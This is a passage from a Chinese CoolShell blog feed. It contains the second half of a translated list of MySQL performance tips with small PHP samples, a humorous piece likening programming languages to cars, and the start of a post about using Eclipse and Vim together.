可以检查一些你绑定好的变量，这样可以保护你的程序不会受到“SQL注入式”攻击。当然，你也可以手动地检查你的这些变量，然而，手动的检查容易出问题，而且很经常会被程序员忘了。当我们使用一些framework或是ORM的时候，这样的问题会好一些。</p>\n<p>在性能方面，当一个相同的查询被使用多次的时候，这会为你带来可观的性能优势。你可以给这些Prepared Statements定义一些参数，而MySQL只会解析一次。</p>\n<p>虽然最新版本的MySQL在传输Prepared Statements是使用二进制形势，所以这会使得网络传输非常有效率。</p>\n<p>当然，也有一些情况下，我们需要避免使用Prepared Statements，因为其不支持查询缓存。但据说版本5.1后支持了。</p>\n<p>在PHP中要使用prepared statements，你可以查看其使用手册：<a href=\"http://php.net/manual/en/book.mysqli.php\" target=\"_blank\">mysqli 扩展</a> 或是使用数据库抽象层，如： <a href=\"http://us.php.net/manual/en/book.pdo.php\" target=\"_blank\">PDO</a>.</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n// 创建 prepared statement\nif ($stmt = $mysqli-&gt;prepare(&quot;SELECT username FROM user WHERE state=?&quot;)) {\n\n\t// 绑定参数\n    $stmt-&gt;bind_param(&quot;s&quot;, $state);\n\n\t// 执行\n    $stmt-&gt;execute();\n\n\t// 绑定结果\n    $stmt-&gt;bind_result($username);\n\n\t// 移动游标\n    $stmt-&gt;fetch();\n\n    printf(&quot;%s is from %s\\n&quot;, $username, $state);\n\n    $stmt-&gt;close();\n}\n</pre>\n<h4>13. 无缓冲的查询</h4>\n<p>正常的情况下，当你在当你在你的脚本中执行一个SQL语句的时候，你的程序会停在那里直到没这个SQL语句返回，然后你的程序再往下继续执行。你可以使用无缓冲查询来改变这个行为。</p>\n<p>关于这个事情，在PHP的文档中有一个非常不错的说明： <a href=\"http://php.net/manual/en/function.mysql-unbuffered-query.php\" target=\"_blank\">mysql_unbuffered_query()</a> 函数：</p>\n<blockquote><p>&#8220;mysql_unbuffered_query() sends the SQL query query to MySQL without automatically fetching and buffering the result rows as mysql_query() does. This saves a considerable amount of memory with SQL queries that produce large result sets, and you can start working on the result set immediately after the first row has been retrieved as you don&#8217;t have to wait until the complete SQL query has been performed.&#8221;</p></blockquote>\n<p>上面那句话翻译过来是说，mysql_unbuffered_query() 发送一个SQL语句到MySQL而并不像mysql_query()一样去自动fethch和缓存结果。这会相当节约很多可观的内存，尤其是那些会产生大量结果的查询语句，并且，你不需要等到所有的结果都返回，只需要第一行数据返回的时候，你就可以开始马上开始工作于查询结果了。</p>\n<p>然而，这会有一些限制。因为你要么把所有行都读走，或是你要在进行下一次的查询前调用 <a href=\"http://us2.php.net/manual/en/function.mysql-free-result.php\" target=\"_blank\">mysql_free_result()</a> 清除结果。而且， <a href=\"http://us2.php.net/manual/en/function.mysql-num-rows.php\" target=\"_blank\">mysql_num_rows()</a> 或 <a href=\"http://us2.php.net/manual/en/function.mysql-data-seek.php\" target=\"_blank\">mysql_data_seek()</a> 将无法使用。所以，是否使用无缓冲的查询你需要仔细考虑。</p>\n<h4>14. 把IP地址存成 UNSIGNED INT</h4>\n<p>很多程序员都会创建一个 VARCHAR(15) 字段来存放字符串形式的IP而不是整形的IP。如果你用整形来存放，只需要4个字节，并且你可以有定长的字段。而且，这会为你带来查询上的优势，尤其是当你需要使用这样的WHERE条件：IP between ip1 and ip2。</p>\n<p>我们必需要使用UNSIGNED INT，因为 IP地址会使用整个32位的无符号整形。</p>\n<p>而你的查询，你可以使用 <a href=\"http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_inet-aton\" target=\"_blank\">INET_ATON()</a> 来把一个字符串IP转成一个整形，并使用 <a href=\"http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_inet-ntoa\" target=\"_blank\">INET_NTOA()</a> 把一个整形转成一个字符串IP。在PHP中，也有这样的函数 <a href=\"http://php.net/manual/en/function.ip2long.php\" target=\"_blank\">ip2long()</a> 和 <a href=\"http://us.php.net/manual/en/function.long2ip.php\" target=\"_blank\">long2ip()</a>。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n$r = &quot;UPDATE users SET ip = INET_ATON(&#039;{$_SERVER[&#039;REMOTE_ADDR&#039;]}&#039;) WHERE user_id = $user_id&quot;;\n</pre>\n<h4>15. 固定长度的表会更快</h4>\n<p>如果表中的所有字段都是“固定长度”的，整个表会被认为是 <a href=\"http://dev.mysql.com/doc/refman/5.1/en/static-format.html\" target=\"_blank\">&#8220;static&#8221; 或 &#8220;fixed-length&#8221;</a>。 例如，表中没有如下类型的字段： VARCHAR，TEXT，BLOB。只要你包括了其中一个这些字段，那么这个表就不是“固定长度静态表”了，这样，MySQL 引擎会用另一种方法来处理。</p>\n<p>固定长度的表会提高性能，因为MySQL搜寻得会更快一些，因为这些固定的长度是很容易计算下一个数据的偏移量的，所以读取的自然也会很快。而如果字段不是定长的，那么，每一次要找下一条的话，需要程序找到主键。</p>\n<p>并且，固定长度的表也更容易被缓存和重建。不过，唯一的副作用是，固定长度的字段会浪费一些空间，因为定长的字段无论你用不用，他都是要分配那么多的空间。</p>\n<p>使用“垂直分割”技术（见下一条），你可以分割你的表成为两个一个是定长的，一个则是不定长的。</p>\n<h4>16. 垂直分割</h4>\n<p>“垂直分割”是一种把数据库中的表按列变成几张表的方法，这样可以降低表的复杂度和字段的数目，从而达到优化的目的。（以前，在银行做过项目，见过一张表有100多个字段，很恐怖）</p>\n<p><strong>示例一</strong>：在Users表中有一个字段是家庭地址，这个字段是可选字段，相比起，而且你在数据库操作的时候除了个人信息外，你并不需要经常读取或是改写这个字段。那么，为什么不把他放到另外一张表中呢？ 这样会让你的表有更好的性能，大家想想是不是，大量的时候，我对于用户表来说，只有用户ID，用户名，口令，用户角色等会被经常使用。小一点的表总是会有好的性能。</p>\n<p><strong>示例二</strong>： 你有一个叫 &#8220;last_login&#8221; 的字段，它会在每次用户登录时被更新。但是，每次更新时会导致该表的查询缓存被清空。所以，你可以把这个字段放到另一个表中，这样就不会影响你对用户ID，用户名，用户角色的不停地读取了，因为查询缓存会帮你增加很多性能。</p>\n<p>另外，你需要注意的是，这些被分出去的字段所形成的表，你不会经常性地去Join他们，不然的话，这样的性能会比不分割时还要差，而且，会是极数级的下降。</p>\n<h4>17. 拆分大的 DELETE 或 INSERT 语句</h4>\n<p>如果你需要在一个在线的网站上去执行一个大的 DELETE 或 INSERT 查询，你需要非常小心，要避免你的操作让你的整个网站停止相应。因为这两个操作是会锁表的，表一锁住了，别的操作都进不来了。</p>\n<p>Apache 会有很多的子进程或线程。所以，其工作起来相当有效率，而我们的服务器也不希望有太多的子进程，线程和数据库链接，这是极大的占服务器资源的事情，尤其是内存。</p>\n<p>如果你把你的表锁上一段时间，比如30秒钟，那么对于一个有很高访问量的站点来说，这30秒所积累的访问进程/线程，数据库链接，打开的文件数，可能不仅仅会让你泊WEB服务Crash，还可能会让你的整台服务器马上掛了。</p>\n<p>所以，如果你有一个大的处理，你定你一定把其拆分，使用 LIMIT 条件是一个好的方法。下面是一个示例：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\nwhile (1) {\n    //每次只做1000条\n\tmysql_query(&quot;DELETE FROM logs WHERE log_date &lt;= &#039;2009-11-01&#039; LIMIT 1000&quot;);\n\tif (mysql_affected_rows() == 0) {\n\t\t// 没得可删了，退出！\n\t\tbreak;\n\t}\n\t// 每次都要休息一会儿\n\tusleep(50000);\n}\n</pre>\n<h4>18. 越小的列会越快</h4>\n<p>对于大多数的数据库引擎来说，硬盘操作可能是最重大的瓶颈。所以，把你的数据变得紧凑会对这种情况非常有帮助，因为这减少了对硬盘的访问。</p>\n<p>参看 MySQL 的文档 <a href=\"http://dev.mysql.com/doc/refman/5.0/en/storage-requirements.html\" target=\"_blank\">Storage Requirements</a> 查看所有的数据类型。</p>\n<p>如果一个表只会有几列罢了（比如说字典表，配置表），那么，我们就没有理由使用 INT 来做主键，使用 MEDIUMINT, SMALLINT 或是更小的 TINYINT 会更经济一些。如果你不需要记录时间，使用 DATE 要比 DATETIME 好得多。</p>\n<p>当然，你也需要留够足够的扩展空间，不然，你日后来干这个事，你会死的很难看，参看<a href=\"http://news.slashdot.org/article.pl?sid=06/11/09/1534204\" target=\"_blank\">Slashdot的例子</a>（2009年11月06日），一个简单的ALTER TABLE语句花了3个多小时，因为里面有一千六百万条数据。</p>\n<h4>19. 选择正确的存储引擎</h4>\n<p>在 MySQL 中有两个存储引擎 MyISAM 和 InnoDB，每个引擎都有利有弊。酷壳以前文章《<a href=\"https://coolshell.cn/articles/652.html\" target=\"_blank\">MySQL: InnoDB 还是 MyISAM?</a>》讨论和这个事情。</p>\n<p>MyISAM 适合于一些需要大量查询的应用，但其对于有大量写操作并不是很好。甚至你只是需要update一个字段，整个表都会被锁起来，而别的进程，就算是读进程都无法操作直到读操作完成。另外，MyISAM 对于 SELECT COUNT(*) 这类的计算是超快无比的。</p>\n<p>InnoDB 的趋势会是一个非常复杂的存储引擎，对于一些小的应用，它会比 MyISAM 还慢。他是它支持“行锁” ，于是在写操作比较多的时候，会更优秀。并且，他还支持更多的高级应用，比如：事务。</p>\n<p>下面是MySQL的手册</p>\n<ul>\n<li><a href=\"http://dev.mysql.com/doc/refman/5.1/en/myisam-storage-engine.html\">target=&#8221;_blank&#8221;MyISAM Storage Engine</a></li>\n<li><a href=\"http://dev.mysql.com/doc/refman/5.1/en/innodb.html\" target=\"_blank\">InnoDB Storage Engine</a></li>\n</ul>\n<h4>20. 使用一个对象关系映射器（Object Relational Mapper）</h4>\n<p>使用 ORM (Object Relational Mapper)，你能够获得可靠的性能增涨。一个ORM可以做的所有事情，也能被手动的编写出来。但是，这需要一个高级专家。</p>\n<p>ORM 的最重要的是“Lazy Loading”，也就是说，只有在需要的去取值的时候才会去真正的去做。但你也需要小心这种机制的副作用，因为这很有可能会因为要去创建很多很多小的查询反而会降低性能。</p>\n<p>ORM 还可以把你的SQL语句打包成一个事务，这会比单独执行他们快得多得多。</p>\n<p>目前，个人最喜欢的PHP的ORM是：<a href=\"http://www.doctrine-project.org\" target=\"_blank\">Doctrine</a>。</p>\n<h4>21. 小心“永久链接”</h4>\n<p>“永久链接”的目的是用来减少重新创建MySQL链接的次数。当一个链接被创建了，它会永远处在连接的状态，就算是数据库操作已经结束了。而且，自从我们的Apache开始重用它的子进程后——也就是说，下一次的HTTP请求会重用Apache的子进程，并重用相同的 MySQL 链接。</p>\n<ul>\n<li><a href=\"http://php.net/manual/en/function.mysql-pconnect.php\" target=\"_blank\">PHP手册：mysql_pconnect() </a></li>\n</ul>\n<p>在理论上来说，这听起来非常的不错。但是从个人经验（也是大多数人的）上来说，这个功能制造出来的麻烦事更多。因为，你只有有限的链接数，内存问题，文件句柄数，等等。</p>\n<p>而且，Apache 运行在极端并行的环境中，会创建很多很多的了进程。这就是为什么这种“永久链接”的机制工作地不好的原因。在你决定要使用“永久链接”之前，你需要好好地考虑一下你的整个系统的架构。</p>\n<p>文章：<a href=\"http://net.tutsplus.com/tutorials/other/top-20-mysql-best-practices/\" target=\"_blank\">来源</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/1889.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg\" alt=\"SQL的Where语句\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1889.html\" class=\"wp_rp_title\">SQL的Where语句</a></li><li ><a href=\"https://coolshell.cn/articles/652.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"MySQL: InnoDB 还是 MyISAM?\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/652.html\" class=\"wp_rp_title\">MySQL: InnoDB 还是 MyISAM?</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1846.html\">MySQL性能优化的最佳20+条经验</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1846.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>169</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程语言汽车</title>\n\t\t<link>https://coolshell.cn/articles/1839.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1839.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 24 Nov 2009 10:24:22 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Basic]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Erlang]]></category>\n\t\t<category><![CDATA[Haskell]]></category>\n\t\t<category><![CDATA[Lisp]]></category>\n\t\t<category><![CDATA[Perl]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[Ruby]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1839</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前酷壳发布过《操作系统航空公司》戏谑了一下如果操作系统是航空公司会怎么样的一种情况。现在，我们来YY一下编程语言，如果编程语言是汽车，又会怎么样？ Ada  ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1839.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"Oscar Mayer Wienermobile\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile.jpg\" alt=\"Oscar Mayer Wienermobile\" width=\"225\" height=\"167\" /></strong>以前酷壳发布过《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1272.html\">操作系统航空公司</a>》戏谑了一下如果操作系统是航空公司会怎么样的一种情况。现在，我们来YY一下编程语言，如果编程语言是汽车，又会怎么样？</p>\n<li><strong>Ada</strong>   这是一辆坦克。一个很厚重但很丑的坦克，从不会崩溃。如果你告诉别人你正在驾驶Ada，别人会狂笑不已。但是，你会开着一辆跑车去打战吗？[from Amit Dubey]</li>\n<li><strong>汇编语言</strong>   只是一个祼露在外的引擎。你不得不自己去造车，并向其提供汽油，但你在驾车时要小心，因为他会像一只从地狱放出来的蝙蝠一样。其实，对于汇编语言，你自己才是车。[From &#8220;Subterfug&#8221; off digg.com:]</li>\n<li><strong>Basic</strong>   是一辆很简单的车，对于一些短途的交通比如去一些超市商店，他是很有用的。以前这是一个对初学者很流行的车，然而，近来它蜕变成脚本，而更新的车型被抛光以应对长途旅程，但那也只是新瓶装旧酒。[from Przemyslaw Wrzos]</li>\n<li><strong>C</strong>   是一辆赛车，它的速度是令人难以想象的快，可惜的是它每50公里就会损毁一次。</li>\n<li><strong>Cobol</strong>   号称是一辆车，但是，没有哪个“有自尊的司机”会承认以前驾驶过它。</li>\n<li><strong>C#</strong>   是一个竞争性的家庭旅行车。一旦你开始使用，你就别想再使用别的竞争者的产品了。</li>\n<li><strong>C++</strong>   是一个加大马力的C赛车，其有一堆新增的功能，而且，它只会每250公里损毁一次。可是，一旦它有故障，没人会知道故障发生在哪里。</li>\n<p><span id=\"more-1839\"></span></p>\n<li><strong>Eiffel</strong>   是一个车，其包括了一个法国口音的内建的驾驶讲师。他会帮你很快的识别你的错误，但是你不能和他争，不然，他会凌辱你后毫不迟疑地把你扔到窗外。[From Daniel Prager ]</li>\n<li><strong>Erlang</strong>   是一个汽车车队，你想去哪它都会非常合作。你只需要用一只脚就可以开动好几辆车。但是，一旦你学会了如何在它给你设计的地形上驾驶，你就会很难在别的地形上驾驶了。另外，由于你一次驾驶好几辆车，所以，就算是其中几车损毁了也无关紧要。</li>\n<li><strong>Forth</strong>   是一辆你通过一些工具可以自己造出来的车。你的这个车不需要像别的车。然后，一辆Forth 车只有倒档。[By &#8220;256byteram&#8221;, on a comment on Digg.com ]</li>\n<li><strong>Fortran</strong>   是一个非常漂亮的老爷车。它可以走得很快，但条件是那是一条很直的路，而且路上只有你自己。我们相信，学习去驾驶一辆Fortran车，你就可能去学习别的车型。</li>\n<li><strong>Java</strong>   也是一个家用旅行车，很容易驾驶，但不是很快，而且这是一个你无法伤害自己的车。</li>\n<li><strong>Haskell</strong>  是一个令人难以想象的超完美设计的相当漂亮的车，有谣言说，这是一辆要可以行驶在极端怪异地形上的车。有一天，你尝试着要去开它，但你发现它并不是顺着路行驶，而是，它把自己和道路都复制了很多份，每一个道路的复制品上都有一辆车，而这些车的位置都比前一个要往前一些。按理来说，我们可以更便捷地驾驶它，但你却对数据不是很懂，所以，你不知道怎么做。<br />\n[Monadic 版:]<strong>Haskell</strong>  并不是一个真正的车。这是一个抽象机器，你需要给足你是怎么去驾驶汽车的流程描述。你不得不把这些抽象机器放到某一个真实的机器中，这样它才能真正的行驶。你并不需要知道，那个真实的机器是怎么工作的。而且，我们还可以把多个抽象机器作成一个抽象机器，这样，当你把其放进真实机器中时，你就能去很多地方了。</li>\n<li><strong>Lisp</strong>  看上去像一辆车，但你只需要调整，你可把它变成一个飞机或是一个潜水艇。[from Paul Tanimoto:] 首先，这看起来并不像一辆车，但是你会发现还是有人在开他四处走。在你决定去学习驾驶它后，你会意识到这是一辆你可以制造更多的车的车。你告诉你的朋友，但你的朋友们嘲笑你说这个车看起来太怪异了。但就算是这样，你还是始终在你的车库中放着一辆Lisp，并希望有一天你的朋友会开关他到街上。</li>\n<li><strong>Mathematica</strong>   是一个设置精良的车，其从Lisp借鉴了很多但却没有得到应得的声望。它可以知道什么才是到达目的地最有效的道路，但是那需要运气。</li>\n<li><strong>Matlab</strong>   是一辆设计给新手司机使用的车，它过可用作一些短途用途，而且，适合它的地形也不多，和是那些“数学车”适合的地形差不多。在这种地面上，驾驶它是非常舒服的，但是一旦你离开适合它的地形，就算是一小辆Matlab的车也会变得很难驾驶。而很多专业的司机都拒绝承认这是一辆车。</li>\n<li><strong>Ocaml</strong>   是一个很性感的欧洲车。它并不像 <strong>C </strong>一样的快，但他永远不会被损毁。然后，这是法国式的，所有的控制装置都不在正常的位置。</li>\n<li><strong>Perl</strong>   本来应该是一个很酷的车，但是它的驾驶员手册相当的难以理解。另外，即使你能搞懂如何驾驶Perl车，你也不能去驾驶别的车。</li>\n<li>\n<p style=\"TEXT-ALIGN: left\"><strong>PHP</strong>   是一个 Oscar Mayer Wienermobile（见本文文章头上的图片），它是一个很怪异的车，但是还是有很多的人喜欢去驾驶它。 [from &#8220;CosmicJustice&#8221; off of digg.com]</p>\n</li>\n<li><strong>Prolog</strong>   是一个完全自动化的车：你只要告诉它目的地是什么样的，它就可以带着你去那。[附录 from Paul Graham:] 然而，说明目的地的工作量和你自己开车到那里的工作时是一样的。[另一个版本] <strong>Prolog</strong>   这个车有一个独一无二的GPS装置。它会去为你寻找你要到的目的地，如果到了路的尽头还没有找到，那么，他会回来然后再去试另一条路，直到找到你的目的地为止。</li>\n<li><strong>Python</strong>   是一个相当不错的入门者的车。你没有驾照也可以驾驶它。除非，你真的想把它开得很快，或是在很BT的地形上驾驶。有了它，你可能不再需要别的车。</li>\n<li><strong>Ruby</strong>   是一个把Perl, Python和Smalltalk三辆车混合起来的一辆拼装车。一个日本的技师找到了Perl, Python和Smalltalk一些碎片并把这些碎片拼成成了一辆车。很多司机认为这个拼装车比其它三个全部加起来都好。而其它一些司机却喃喃道，这个车提供了很多重复的功能，甚至是三重一样的功能，这些重复的功能在不固定的环境下却又有一些细小的不同，这些重复的功能让这个车更难驾驶。有谣言说Ruby这个车要重新设计。</li>\n<li><strong>Smalltalk</strong>   只是一个小型车，其原来的目的只是为了让大家学习驾驶。但是，这个车设计的太好了，就算是很有经验的老手也很喜欢驾驶它。它开起来并不是很快，但是你可以把这个车的各个部件全部解开，并且换上你像要的部件，或是组装成你喜欢的样子。你可以给他发一个短信告诉它你要去哪，它会带着你去那，或是告诉你它听不懂你在说什么。很人性化的一辆车。</li>\n<li><strong>Visual Basic</strong>   这是一辆驾驭你的车。 [from &#8220;yivkX360&#8221; on digg.com]</li>\n<p> </p>\n<p>文章：<a href=\"http://www.cs.caltech.edu/~mvanier/hacking/rants/cars.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"到处都是Unix的胎记\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_title\">到处都是Unix的胎记</a></li><li ><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"StackOverflow的404错误页\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_title\">StackOverflow的404错误页</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"最为奇怪的程序语言的特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_title\">最为奇怪的程序语言的特性</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1839.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>23</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Eclipse 和 Vim</title>\n\t\t<link>https://coolshell.cn/articles/1837.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1837.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 23 Nov 2009 01:07:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[eclim]]></category>\n\t\t<category><![CDATA[Eclipse]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<category><![CDATA[vrapper]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1837</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前，neo和发布过如何在vim中得到你最喜爱的IDE特性，这是一篇在vim中装一些插件而让Vim拥有IDE的功能，比如代码自动提示等功能。当然，目前，可能强大...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1837.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1837.html\">Eclipse 和 Vim</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前，neo和发布过<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/894.html\">如何在vim中得到你最喜爱的IDE特性</a>，这是一篇在vim中装一些插件而让Vim拥有IDE的功能，比如代码自动提示等功能。当然，目前，可能强大最好用的IDE就是<a href=\"http://eclipse.org/\">Eclipse</a>和，而最强大的编辑器又是<a href=\"http://vim.org/\">Vim</a>了，可不可以让这两个东西合二为一呢。没有问题，开源社区的创造力永远不会让你低估。</p>\n<p>在Vim中拥有Eclipse的功能，在Eclipse里有Vim的功能，那么eclim是你的选择了。<a href=\"http://eclim.org/\">http://eclim.org/</a> 相关的<a href=\"http://eclim.org/translations/zh_TW/vim/cheatsheet.html#translations-zh-tw-vim-cheatsheet\" target=\"_blank\">中文文档</a>。使用eclim，你可以在vim中有Eclipse的功能，也可以在Eclipse中嵌入Vim编辑器。很酷。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3029\" title=\"eclim\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/eclim.png\" alt=\"\" width=\"490\" height=\"408\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/11/eclim.png 490w, https://coolshell.cn/wp-content/uploads/2009/11/eclim-300x250.png 300w, https://coolshell.cn/wp-content/uploads/2009/11/eclim-324x270.png 324w\" sizes=\"(max-width: 490px) 100vw, 490px\" /></p>\n<p style=\"text-align: left;\"><span id=\"more-1837\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://eclim.org/_images/gvim_eclim_view.png\" alt=\"_images/java_editor_eclim_view.png\" width=\"696\" height=\"519\" 